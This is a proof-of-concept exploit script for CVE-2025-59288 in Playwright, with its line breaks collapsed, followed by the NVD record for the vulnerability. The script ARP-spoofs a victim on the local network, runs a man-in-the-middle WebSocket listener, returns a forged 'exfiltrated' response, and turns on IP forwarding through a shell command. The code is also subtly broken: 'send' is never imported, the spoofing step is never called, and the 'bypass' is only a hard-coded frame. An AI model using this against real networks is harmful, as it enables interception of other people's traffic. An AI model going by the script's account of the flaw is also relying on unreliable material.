CVE-2025-59288

# CVE-2025-59288 - Playwright Cryptographic Signature Verification Bypass PoC # This PoC demonstrates the concept of exploiting improper cryptographic # signature verification in Playwright over an adjacent network. import asyncio import socket import struct from scapy.all import ARP, Ether, srp # Step 1: Perform ARP spoofing to intercept traffic in adjacent network def arp_spoof(target_ip, gateway_ip): """ Perform ARP spoofing to position attacker as man-in-the-middle in the same adjacent network as the victim. """ target_mac = get_mac(target_ip) packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip) send(packet, verbose=False) print(f"[+] ARP spoofing {target_ip} -> {gateway_ip}") def get_mac(ip): """Get MAC address of target IP via ARP request""" ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2, verbose=False) if ans: return ans[0][1].hwsrc return None # Step 2: Intercept Playwright WebSocket communication class PlaywrightMITM: """ Intercept and manipulate Playwright driver-browser WebSocket communication due to improper signature verification. """ def __init__(self, listen_port=9222): self.listen_port = listen_port self.intercepted_messages = [] async def intercept_websocket(self): """ Listen for Playwright WebSocket connections and exploit the lack of proper cryptographic signature verification. """ server = await asyncio.start_server( self.handle_connection, '0.0.0.0', self.listen_port ) print(f"[+] MITM proxy listening on port {self.listen_port}") async with server: await server.serve_forever() async def handle_connection(self, reader, writer): """Handle intercepted WebSocket connection""" data = await reader.read(4096) # Parse WebSocket frame if len(data) >= 2: payload = self.parse_ws_frame(data) if payload: self.intercepted_messages.append(payload) print(f"[+] Intercepted Playwright message: {payload[:100]}") # Forge a spoofed response without proper signature spoofed = self.forge_spoofed_message(payload) writer.write(spoofed) await writer.drain() writer.close() def parse_ws_frame(self, data): """Parse WebSocket frame payload""" if len(data) < 2: return None opcode = data[0] & 0x0F if opcode == 0x1: # Text frame payload_len = data[1] & 0x7F if payload_len < 126: return data[2:2+payload_len].decode('utf-8', errors='ignore') return None def forge_spoofed_message(self, original): """ Forge a spoofed message exploiting the improper signature verification vulnerability. """ # Construct forged response without valid cryptographic signature forged_payload = '{"id":1,"result":{"sensitiveData":"exfiltrated"}}' frame = bytes([0x81]) # FIN + text opcode frame += bytes([0x80 | len(forged_payload)]) # Masked frame += b'\x00\x00\x00\x00' # Mask key frame += forged_payload.encode() return frame # Step 3: Execute the exploit async def main(): print("[*] CVE-2025-59288 Playwright Signature Verification Bypass PoC") print("[*] Requires adjacent network position (same LAN/WiFi)") # Enable IP forwarding for MITM import os os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") # Start MITM proxy mitm = PlaywrightMITM() await mitm.intercept_websocket() if __name__ == "__main__": asyncio.run(main())

{"cve": {"id": "CVE-2025-59288", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:11.837", "lastModified": "2025-11-21T03:16:09.550", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of cryptographic signature in Github: Playwright allows an unauthorized attacker to perform spoofing over an adjacent network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:playwright:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.55.1", "matchCriteriaId": "0A1503CC-335C-4DB7-B396-EF15E912087A"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59288", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}